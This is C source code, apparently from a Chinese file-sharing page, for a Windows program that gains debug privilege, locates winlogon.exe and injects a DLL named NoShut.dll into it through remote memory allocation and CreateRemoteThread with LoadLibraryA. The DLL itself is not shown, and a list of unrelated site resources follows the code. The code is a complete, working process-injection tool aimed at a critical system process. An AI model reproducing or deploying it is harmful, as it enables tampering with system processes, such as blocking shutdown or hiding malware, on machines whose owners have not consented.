#define EXENAME "winlogon.exe"
#define DLLNAME "C:\\NoShutDLL.dll"
//作者Flyue qq: 406088125 转载时请注明
#include <windows.h>
#include <stdio.h>
#include <TLHELP32.H>
DWORD ProcessNameToPId(LPCTSTR lpszProcess);
BOOL UpPrivilege(HANDLE hprocess, LPCTSTR lpname);
BOOL UpPrivilege(HANDLE hprocess, LPCTSTR lpname) //提升进程权限 debug
{
HANDLE hToken;
TOKEN_PRIVILEGES Privileges;
LUID luid;
OpenProcessToken(hprocess, TOKEN_ADJUST_PRIVILEGES, &hToken);
Privileges.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, lpname, &luid);
Privileges.Privileges[0].Luid = luid;
Privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken, FALSE, &Privileges, NULL, NULL, NULL)!=0)
return TRUE;
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
CopyFile("NoShut.dll", DLLNAME, FALSE);
char privilege[] = SE_DEBUG_NAME;
HANDLE hprocess;
hprocess = GetCurrentProcess();
if(!UpPrivilege(hprocess, privilege)) //开始提权
{
MessageBox(0, "UpPrivilege Error!", 0, MB_OK | MB_ICONERROR);
return 1;
}
char File_Name[MAX_PATH] = {0};
sprintf(File_Name, "%s", EXENAME);
DWORD ProcessPid = ProcessNameToPId(File_Name); //从进程名字获取 进程PID
if(ProcessPid == 0)
{
MessageBox(0, "Not Find This File", 0, MB_OK | MB_ICONERROR);
return 1;
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessPid);
DWORD dwSize;
char DllName[MAX_PATH];
sprintf(DllName, "%s", DLLNAME);
dwSize = strlen(DllName);
LPVOID lpBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if(lpBuf == NULL)
{
MessageBox(0, "VirtualAllocEx Error", 0, MB_OK | MB_ICONERROR);
CloseHandle(hProcess);
return 1;
}
if(!WriteProcessMemory(hProcess, lpBuf, DllName, dwSize, NULL))
{
MessageBox(0, "WriteProcessMemory Error", 0, MB_OK | MB_ICONERROR);
CloseHandle(hProcess);
return 1;
}
LPVOID pFunc = LoadLibraryA;
HANDLE hThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pFunc,
lpBuf,
0,
NULL);
MessageBox(0, "Success!", "OK", MB_OK | MB_ICONINFORMATION);
return 0;
}
DWORD ProcessNameToPId(LPCTSTR lpszProcess)
{
HANDLE tlhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if(!Process32First(tlhelp, &pe32))
return 0;
while(Process32Next(tlhelp, &pe32))
{
if(!strcmp(pe32.szExeFile, lpszProcess))
{
return pe32.th32ProcessID;
break;
}
}
return 0;
}
w100
- 粉丝: 2
- 资源: 4
最新资源
- (源码)基于Bannerlord框架的动态部队装备系统.zip
- (源码)基于Python和LSTM的台湾电力负荷预测系统.zip
- (源码)基于JavaEE和Layui的技术论坛系统.zip
- (源码)基于Spring Boot和Flowable的工作流管理系统.zip
- 毕业设计《基于SSM学而优奖学金评定管理系统(可升级SpringBoot)》+java项目源码+文档说明
- (源码)基于PyTorch的遥感建筑物语义分割系统.zip
- Delphi 数字图像处理优化
- (源码)基于.NET Core 3.1和Vue的简易私人云盘系统.zip
- Quick development library
- 招聘数据,招聘活动频繁:据教育部消息,2024年9月以来,各地各高校已开展招聘活动5.5万场,提供岗位信息1093万条
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
- 1
- 2
- 3
- 4
前往页